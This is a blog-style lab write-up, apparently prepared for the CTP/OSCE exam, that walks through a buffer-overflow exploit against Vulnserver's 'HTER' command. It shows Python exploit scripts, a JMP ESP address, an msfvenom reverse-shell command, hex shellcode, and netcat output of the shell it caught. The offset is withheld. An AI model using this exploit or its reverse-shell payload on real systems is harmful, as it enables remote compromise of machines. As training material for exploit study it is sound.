CTP/OSCE Prep -- 'HTER' EIP Overwrite with a Twist
Introduction
This series of posts will focus on the concepts I’m learning/practicing in preparation for CTP/OSCE. In this series of posts, I plan on exploring:
- fuzzing,
- vanilla EIP overwrite,
- SEH overwrite, and
- egghunters.
Writing these entries will force me to become intimately familiar with these topics, and hopefully you can get something out of them as well!
This particular post is about exploiting the ‘HTER’ command on Vulnserver.
Fuzzing
Long story short here, Boofuzz was giving me all kinds of different payloads which were all crashing the application but none of them were consistent. The only thing I picked up from the fuzzing payloads was:
- Our application is vulnerable to a buffer overflow
- All the payloads were prepended with:
"HTER "
So I started to manually fuzz the application with just our skeleton exploit python script we’ve been using starting with a payload of: 'A' * 1000
and working my way up.
The application started to crash when I got to 'A' * 3000
#!/usr/bin/python
import socket
import os
import sys
host = "192.168.1.201"
port = 9999
buffer = 'A' * 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("HTER " + buffer)
print s.recv(1024)
s.close()
Then I saw this in EIP.
EIP, wyd?
So with 8 A
values in EIP
something is not normal here. Two possibilities come to mind:
- Our 32 bit registers can now hold 8 bytes via magic
- The characters are not being interpreted/stored as ASCII, but maybe Hex?
I’m going with option two here and testing it to see if we’re right. (Psst. I actually didn’t even notice the 8 A
until I found the offset and stuffed it with 8 B
, but let’s pretend I’m ontop of this stuff.)
Finding an Offset
Since we are guessing these chars are being interpreted as raw hex and not ASCII, mona is out for pattern create and pattern offset. What I did was cut my 3000 char buffer in half and made it 1500 A
and 1500 B
and repeated with similar techniques until I found the correct offset and was able to have my payload include only 8 B
and all 8 ended up in EIP
.
Since this was a more manual and creative way to find the offset, I’ll leave that excercise to you and won’t spoil it!
Finding a JMP ESP
When we overflow the buffer, we see that we control EIP
and ESP
so basically we have everything we need to get a fully working exploit out of this, we just need a reliable way of jumping to ESP
where we will put some NOPs and our shellcode.
!mona jmp -r esp
nets us the following JMP ESP
addresses to choose from:
I went with the address at 0x625011BB
, but since our application is interpreting input as hex, we have to format it as BB115062
in our payload since we also have to remember to format it for Little Endian. So, 1. reverse order and 2. no \x
needed.
Our payload now looks like this:
#!/usr/bin/python
import socket
import os
import sys
host = "192.168.1.201"
port = 9999
buffer = 'A' * <offset number :)>
buffer += 'BB115062'
buffer += 'C' * (3000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("HTER " + buffer)
print s.recv(1024)
s.close()
Shellcode and Endgame
Next we just have to generate some shellcode and add our NOPs and we should be good to go. But first, let’s test and make sure our exploit worked. A cool thing about the program interpreting our characters as hex is that our C
buffer will be interpreted as pairs of CC
which is the opcode for INT3
which will effectively become a breakpoint for us since it’s an interrupt. Pretty cool way to see if our JMP ESP
worked as intended. If it did, we should see EIP
pointing to the top of a stack of INT3
opcodes.
Everything looks good!
Let’s generate some shellcode with the following command (notice we used the -f hex
option): msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.206 lport=443 -f hex EXITFUNC=thread -b "\x00"
All we need to do now is add some NOPs to prepend our shellcode, they will simply be input into our script as 90
since we’re dealing in hex.
Final Exploit Code Minus Offset ;)
#!/usr/bin/python
import socket
import os
import sys
host = "192.168.1.201"
port = 9999
shellcode = ("ddc5bafbebb770d97424f45e2bc9b15283eefc31561303adf85585ad171b664de87ce"
"ea8d9bc94b94a0ddeef66e6b21bfc8a1a2cb5217d034619bd02c46092e4f5aae7e532d60ab7eb9cb92"
"79fe901ccd3fc0131a3ff20e4bf59e30713d2aa1f70df659442ab777c9b54db4113a72586945850fee"
"6e563c59531e1dd3eb15139be1607caccd34394d0e280afed6f277f642b0c5b2cef2dfa885e511c733"
"ef7579e2b8a3af798a7c407b7b0b735186b5f76d1b59879c8023684f3721f43a7223762c8a8c78b1d7"
"e9723ce3f4784bed78d0be0c8aec18963558275db549c1e1e56216497b04b8afe6be4335be795bc718"
"29637767358b0f3670d304ed5984f647146dde38101febbd64630b2b27a6b6ca086ed57605dce56691"
"06a7d79ec73392da025979b069c5975d1733011a4bf8367a99575871840c0b89504c4c1cbb42b1848d"
"4c988a57d545904e067b44b1de43c34daf43531a6b2a64bb756c8f8b872")
buffer = 'A' * <offset number>
buffer += 'BB115062'
buffer += '90' * 16
buffer += shellcode
buffer += 'C' * (3000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("HTER " + buffer)
print s.recv(1024)
s.close()
And we catch our reverse shell!
astrid:~/ # nc -lvp 443
listening on [any] 443 ...
192.168.1.201: inverse host lookup failed: Unknown host
connect to [192.168.1.206] from (UNKNOWN) [192.168.1.201] 49314
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
' is not recognized as an internal or external command,
operable program or batch file.
C:\Users\IEUser\Desktop>
Conclusion
All in all, a pretty easy exploit compared to the things we’ve been doing but little curveballs like the hex characters can really stop progress for a while. It took me a while to figure out what was going on as I had never encountered this before and my go-to’s like Mona weren’t helping. Thanks for reading!